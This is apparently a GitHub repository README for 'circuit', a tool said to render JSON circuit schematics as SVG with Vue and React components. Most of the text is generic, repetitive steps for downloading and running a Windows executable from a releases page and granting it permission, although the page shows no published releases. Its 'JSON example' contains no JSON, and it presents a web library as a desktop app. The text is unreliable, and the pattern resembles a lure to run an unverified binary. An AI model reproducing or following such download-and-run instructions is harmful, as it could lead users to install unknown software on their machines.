Skip to content

Gillirazorbacked368/circuit

Repository files navigation

⚡ circuit - Render Schematics with Ease

Download circuit{style="display:inline-block;padding:12px 18px;background:#6c5ce7;color:#fff;text-decoration:none;border-radius:8px;font-weight:700"}

📥 Download circuit

Visit the releases page to download and run this app on Windows.

  1. Open the releases page.
  2. Find the latest release at the top.
  3. Download the Windows file from the assets list.
  4. Open the file after the download finishes.
  5. Follow the on-screen steps to install or run the app.

🖥️ What circuit does

Circuit turns a JSON file into an electrical schematic you can view in your browser or desktop app. It helps you work with circuit diagrams without drawing each line by hand.

Use it to:

  • Render circuit diagrams from JSON
  • View interactive SVG schematics
  • Switch between light and dark themes
  • Embed diagrams in Vue apps
  • Embed diagrams in React apps
  • Share clean, readable circuit layouts

✅ Before you install

For the best result on Windows, have:

  • Windows 10 or Windows 11
  • A recent browser such as Edge, Chrome, or Firefox
  • Enough space to save the download
  • Permission to run apps on your PC

If the release comes as a ZIP file, extract it before opening the app.

🚀 Install on Windows

  1. Go to the releases page.
  2. Download the Windows version.
  3. If the file is zipped, right-click it and choose Extract All.
  4. Open the extracted folder.
  5. Double-click the app file to start it.
  6. If Windows asks for permission, choose Yes.
  7. If a setup window appears, follow the steps on screen.

🔧 First-time setup

When you open circuit for the first time:

  1. Start the app.
  2. Load a sample JSON file or open your own.
  3. Pick a theme if the app gives you that option.
  4. Check that the diagram appears in the view panel.
  5. Zoom in or out to inspect the layout.

A valid JSON diagram usually includes:

  • Parts such as resistors, wires, and labels
  • Positions for each item
  • Connection lines between parts
  • Optional theme settings

📄 Basic JSON example

A simple diagram file may look like this:

  • A list of nodes
  • A list of links
  • Label text for each part
  • Styling for line color and background

Example layout:

  • Power source
  • Wire
  • Resistor
  • Ground

The app reads the JSON and draws the schematic for you.

🎛️ Main features

🧩 Interactive SVG output

The diagram stays sharp at any zoom level. You can inspect parts without blur or loss of detail.

🎨 Theme support

Choose a visual style that fits your screen. Light and dark modes help during long viewing sessions.

⚛️ Vue and React components

If you use a web app, you can add circuit diagrams with simple components. This helps you place schematics inside your own pages.

🧠 JSON-based diagrams

You can store diagram data in JSON files. That makes it easy to save, edit, and reuse schematics.

🔍 Clean rendering

The library keeps lines, labels, and symbols neat. This helps you read complex diagrams with less effort.

🧭 How to use it

  1. Open circuit.
  2. Load a JSON diagram.
  3. Check the rendered schematic.
  4. Adjust the theme if needed.
  5. Zoom, pan, or inspect the SVG view.
  6. Save or reuse the JSON file later.

🛠️ Common file types

You may see these files in a release:

  • .exe for Windows
  • .zip for packaged downloads
  • .json for diagram data
  • .svg for exported vector graphics

If you see a .zip file, open it first. If you see an .exe, you can run it after download.

📌 Tips for smooth use

  • Keep your JSON file in a simple folder path
  • Use clear file names
  • Back up your diagram files
  • Open one file at a time when testing
  • Use zoom to check small labels
  • Pick a theme with enough contrast for your screen

🧪 Example workflow

  1. Download the latest release.
  2. Open the app.
  3. Load a JSON schematic.
  4. Review the circuit layout.
  5. Change the theme if needed.
  6. Use the SVG view for close inspection.
  7. Save your work in a safe folder.

📁 Project topics

This project covers:

  • circuit diagrams
  • electrical schematics
  • interactive SVG
  • JSON rendering
  • React components
  • Vue components
  • TypeScript
  • electronics tools

🔗 Download again

If you need the installer later, use the circuit releases page to visit this page to download again

Releases

No releases published

Packages

 
 
 

Contributors

Languages